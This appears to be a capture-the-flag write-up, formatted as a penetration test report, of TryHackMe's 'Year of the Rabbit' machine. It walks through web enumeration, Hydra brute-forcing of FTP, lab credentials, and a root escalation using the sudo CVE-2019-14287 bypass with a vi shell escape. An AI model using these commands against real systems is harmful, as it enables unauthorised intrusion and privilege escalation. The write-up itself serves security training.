

Penetration Testing Report: Year of the Rabbit

Target Name: Year of the Rabbit (TryHackMe)

Target IP: 10.112.170.10

OS: Linux (Debian)

Severity Breakdown: Critical (Root Compromise Achieved)

Executive Summary

During this assessment, the target machine 10.112.170.10 was fully compromised. The attack chain involved:

1. **Enumeration:** Discovering hidden web directories and HTTP headers leading to a steganographic image file.
2. **Initial Credential Extraction:** Extracting FTP credentials embedded in the image metadata via strings and brute-forcing the hash using Hydra.
3. **Lateral Movement:** Decoding an Esoteric Programming (Brainfuck) payload retrieved from FTP to obtain SSH credentials for eli, followed by local filesystem enumeration to discover credentials for gwendoline.
4. **Privilege Escalation:** Exploiting a sudo security bypass vulnerability (CVE-2019-14287) in sudo when executing `/usr/bin/vi` to gain full root access.

1. Reconnaissance & Enumeration

1.1 Port Scanning (nmap)

An initial port scan revealed three open services on the target system:

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 3.0.2
22/tcp	open	ssh	OpenSSH 6.7p1 Debian 5 (protocol 2.0)
80/tcp	open	http	Apache httpd 2.4.10 ((Debian))

- **FTP (Port 21):** Running vsftpd 3.0.2.
- **SSH (Port 22):** Running OpenSSH 6.7p1.
- **HTTP (Port 80):** Running Apache httpd 2.4.10.

1.2 Web Enumeration (gobuster)

Directory brute-forcing against the web server identified default configurations and an assets directory:

Bash

```
gobuster dir -u http://10.112.170.10/ -w /usr/share/wordlists/dirb/common.txt
```

Path	Status Code	Notes
/index.html	200	Standard Apache Debian Default Page
/assets/	301	Static assets directory
/.hta, /.htaccess	403	Forbidden

1.3 Web Content & Header Analysis

Inspect element analysis of the page assets revealed a hidden PHP endpoint hidden inside a CSS file:

HTTP

```
/sup3r_s3cr3t_fl4g.php
```

Inspecting the response headers via curl revealed an HTTP Location: header redirecting to a hidden directory containing an image file:

Bash

```
curl -I http://10.112.170.10/sup3r_s3cr3t_fl4g.php
```

Finding: The HTTP Location: header disclosed the path to a hidden image download directory.

2. Exploitation & Initial Access

2.1 Steganography & FTP Credential Extraction

After downloading the image file from the hidden directory, strings analysis was performed to search for embedded plaintext data:

Bash

```
strings image.png | grep -i ftp
```

This revealed the username ftpuser and an associated hash/password string. Using **Hydra**, the full password was cracked:

Bash

```
hydra -l ftpuser -P hash.txt ftp://10.112.170.10 -V -f
```

- **FTP Username:** ftpuser
- **FTP Password:** 5iez1wGXXkfPKQ

2.2 FTP Enumeration & Decryption

Logging into the FTP server yielded an encoded file named Eli's_Creds.txt.

Plaintext

File Contents: [Brainfuck Encoded String]

Decoding the contents using a **Brainfuck** decoder revealed valid SSH credentials:

- **SSH Username:** eli
- **SSH Password:** DSpDiM1wAEwid

2.3 Lateral Movement (eli to gwendoline)

After authenticating via SSH as user eli, local filesystem enumeration was conducted to locate other user profiles and hidden files:

Bash

```
# Searching non-standard system directories  
ls -la /usr/games/
```

Inside /usr/games/s3cr3t, a file containing credentials for the user gwendoline was discovered:

- **SSH Username:** gwendoline
- **SSH Password:** MniVCQVhQHUNI

Authenticating as gwendoline via SSH provided access to the user flag:

```
Bash
cat /home/gwendoline/user.txt
```

3. Privilege Escalation

3.1 Sudo Permission Check

Checking current sudo privileges for gwendoline:

```
Bash
sudo -l
```

Output:

```
Plaintext
(ALL, !root) /usr/bin/vi /home/gwendoline/user.txt
```

The output indicates that user gwendoline can run `/usr/bin/vi` as any user **except** root directly by name.

3.2 Exploiting sudo Security Bypass (CVE-2019-14287)

By specifying user ID `-1` (or `4294967295`), sudo fails to evaluate the user restriction properly and defaults to UID `0` (root):

```
Bash
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
```

Once inside vi, a root shell was spawned using vi built-in command execution:

```
Vim Script
:set shell=/bin/bash
:shell
```

4. Root Access & Flag Retrieval

Upon executing the shell command within vi, effective UID 0 (root) was granted:

```
Bash
id
# uid=0(root) gid=0(root) groups=0(root)

cat /root/root.txt
```

5. Summary & Remediation Recommendations

Vulnerability	Impact	Mitigation
Information Disclosure in Headers & CSS	Discloses internal endpoints	Remove comments/sensitive redirect headers from public web routes.
Hardcoded Credentials in Files/Images	Allows credential theft	Store credentials securely in secret managers, not static files.
Outdated sudo Version (CVE-2019-14287)	Allows privilege escalation to root	Update sudo package to the latest stable release.